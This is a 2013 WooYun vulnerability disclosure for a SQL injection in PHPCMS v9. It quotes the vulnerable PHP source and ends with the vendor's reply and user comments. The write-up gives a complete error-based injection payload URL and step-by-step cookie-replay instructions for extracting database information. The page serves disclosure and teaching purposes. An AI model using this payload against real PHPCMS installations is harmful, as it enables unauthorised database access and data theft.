当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(72) 关注此漏洞

缺陷编号: WooYun-2013-25107

漏洞标题: phpcms v9 注入一枚

相关厂商: phpcms

漏洞作者: gainover认证白帽子

提交时间: 2013-06-04 10:21

公开时间: 2013-09-02 10:21

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php+数字类型注射 sql注射漏洞利用技巧

14人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-04: 细节已通知厂商并且等待厂商处理中
2013-06-04: 厂商已经确认,细节仅向厂商公开
2013-06-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-07-29: 细节向核心白帽子及相关领域专家公开
2013-08-08: 细节向普通白帽子公开
2013-08-18: 细节向实习白帽子公开
2013-09-02: 细节向公众公开

简要描述:

PHPCMS某处代码缺陷导致SQL注入。

详细说明:

1. 首先是 /phpcms/modules/pay/spend_list.php



18 $userid = param::get_cookie('_userid');

19 $sql = " `userid` = '$userid'";



可以看到,从cookies中取出_userid,然后代入sql语句中。



如果这里cookies中的_userid我们可以构造,那么我们可以成功进行sql注入。



2. 由于phpcms的cookies进过加密函数进行了转换, 而这个加密函数中似乎又用到了一个我们无法直接获取到的authkey -->pc_base::load_config('system', 'auth_key')



3. 但是我们可以换个思路,程序在设置cookies,会调用set_cookie这个函数来进行get_cookies的逆向过程。



86 public static function set_cookie($var, $value = '', $time = 0) {

87 $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);

88 $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;

89 $var = pc_base::load_config('system','cookie_pre').$var;

90 $_COOKIE[$var] = $value;

91 if (is_array($value)) {

92 foreach($value as $k=>$v) {

93 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);

94 }

95 } else {

96 setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);

97 }

98 }



4. 如果我们找到一个调用set_cookie的页面,并且传入的参数我们可以控制,那么是不是就有一点点希望了呢? 但实际上这里有个大问题。



假如我们控制参数 userid, userid=',

由于GPC/程序自己过滤,则 userid=\',

加密后是 userid=XXXXXXXXXXXX

解密后是 userid=\'



我们会发现,这种想法实际上,最后。。。其实。。。根本还是无法造成注入的嘛



--------------------------------------------------------

也就是说,上面实际上说的是废话,构成不了威胁,关键是下面的部分啦。~

--------------------------------------------------------



5. 但是我们依然还是抱着上面的想法,找了找set_cookie的位置。



我们找到了 /phpcms/modules/attachment/attachments.php 中的 以下代码:



228 public function swfupload_json() {

229 $arr['aid'] = intval($_GET['aid']);

230 $arr['src'] = trim($_GET['src']);

231 $arr['filename'] = urlencode($_GET['filename']);

232 $json_str = json_encode($arr);

233 $att_arr_exist = param::get_cookie('att_json');

234 $att_arr_exist_tmp = explode('||', $att_arr_exist);

235 if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {

236 return true;

237 } else {

238 $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;

239 param::set_cookie('att_json',$json_str);

240 return true;

241 }

242 }



可以看到这里设置了att_json这个cookies字段。



param::set_cookie('att_json',$json_str);



而$json_str来自于 json_encode($arr);



这个点有什么特别之处呢?特别之处在于 json_encode会将 \ 转变为 \\



因而,我们的 $arr的 src=' 时,



由于GPC会转变为 src=\'



由于json_encode,会转变为 {"src":"\\'"}



这样一来,单引号就不会转义啦,从而形成注入。



6. 接着就是利用过程,首先我们要利用set_cookie函数得到加密后的字符串。



在官方demo站,注册用户并登录,再访问以下URL。



http://**.**.**.**/index.php?m=attachment&c=attachments&a=swfupload_json&src='%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20;%20--%201



在chrome浏览器的cookies中,找到XXXXX_att_json这一条cookies数据,如下图:



1.jpg





复制出这条COOKIES数据。



再访问,



http://**.**.**.**/index.php?m=pay&c=spend_list



抓包修改COOKIES中的, XXXXX_userid这条数据,改为上面的XXXXX_att_json的数据,如下图:



2.jpg





重新提交请求,可以看到报错后的注入信息。



3.jpg

漏洞证明:

对官方demo的测试见上方【详细说明】



也写了个临时的exploit, 本地搭建环境中测试了下数据读取,需用户登录状态下来利用。



4.jpg

修复方案:

虽然注入是在/phpcms/modules/pay/spend_list.php进行的,但问题关键是 /phpcms/modules/attachment/attachments.php出现的。修复attachment/attachments.php中的问题。



具体的,我等厂商们的修复方案,然后学习学习:)

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-06-04 13:16

厂商回复:

感谢提交漏洞,该漏洞其他人提交的漏洞相似。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共5人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2013-06-04 10:23 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1643 漏洞数:189 | 学无止境)
    1

    二哥开始搞注射了-_-#

  2. 2013-06-04 10:27 | 带馅儿馒头 认证白帽子 ( 核心白帽子 | Rank:1367 漏洞数:154 | 心在,梦在)
    0

    不科学呀

  3. 2013-06-04 10:36 | Hxai11 ( 普通白帽子 | Rank:1205 漏洞数:231 | 浙江温州浙江温州,江南皮革厂江南皮革厂)
    0

    吓尿。

  4. 2013-06-04 10:48 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    0

    GN终于开始行动了额。。哈哈

  5. 2013-06-04 10:59 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗,任何自称Finger并...)
    0

    不科学啊

  6. 2013-06-04 11:27 | 猥琐 ( 路人 | Rank:6 漏洞数:2 | 学习什么的最重要!)
    0

    (⊙0⊙)

  7. 2013-06-04 12:30 | 乐乐、 ( 普通白帽子 | Rank:868 漏洞数:189 )
    0

    二哥开始连射了~

  8. 2013-06-04 12:36 | tenzy ( 普通白帽子 | Rank:176 漏洞数:21 | Need not to know)
    0

    二哥开始抢生意了

  9. 2013-06-04 13:07 | HuGtion ( 实习白帽子 | Rank:70 漏洞数:10 | 学习安全技术。)
    0

    二哥开始连射了~~

  10. 2013-06-04 16:25 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)
    0

    @gainover 二哥,不科学啊,你不是搞JS呢么,怎么跑出注射了- -

  11. 2013-06-04 17:37 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)
    0

    不科学啊

  12. 2013-06-04 19:42 | Skull ( 实习白帽子 | Rank:95 漏洞数:33 | 菜鸟一枚。)
    0

    等待公开

  13. 2013-06-04 21:29 | gainover 认证白帽子 ( 普通白帽子 | Rank:1805 漏洞数:97 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
    0

    @鬼魅羊羔 乌云除了发漏洞,还可以学漏洞嘛。。别人可以学XSS,我也可以学着看PHP代码的:)

  14. 2013-06-04 21:36 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    0

    这厂商回复神马意思。。。

  15. 2013-06-04 21:50 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)
    0

    @px1624 厂商是告诉咱们,所有的注射,都可以看做相似,,懂了么亲?

  16. 2013-06-05 18:35 | 堕络 ( 路人 | Rank:20 漏洞数:2 | 菜逼)
    0

    只要是注射 就是一样的

  17. 2013-06-06 12:37 | Getshell ( 路人 | Rank:28 漏洞数:7 )
    1

    好犀利...

  18. 2013-07-04 16:47 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    1

    我家院子里种了很多草,专门吸引大牛来吃草,吃完了就可以挤奶了。

  19. 2013-07-08 15:17 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    WooYun: PHPCMS最新版(V9)SQL注入一枚 确实是类似啊,厂商蛮不错的,照给rank

  20. 2013-09-12 12:26 | hack2012 ( 实习白帽子 | Rank:31 漏洞数:3 | 关注信息安全 http://www.waitalone.cn/)
    0

    确实给力。。

  21. 2013-09-17 17:14 | 天鱼 ( 实习白帽子 | Rank:47 漏洞数:5 | 逝去的梦)
    0

    简直神人啊

  22. 2014-09-20 20:03 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)
    0

    1

登录后才能发表评论,请先 登录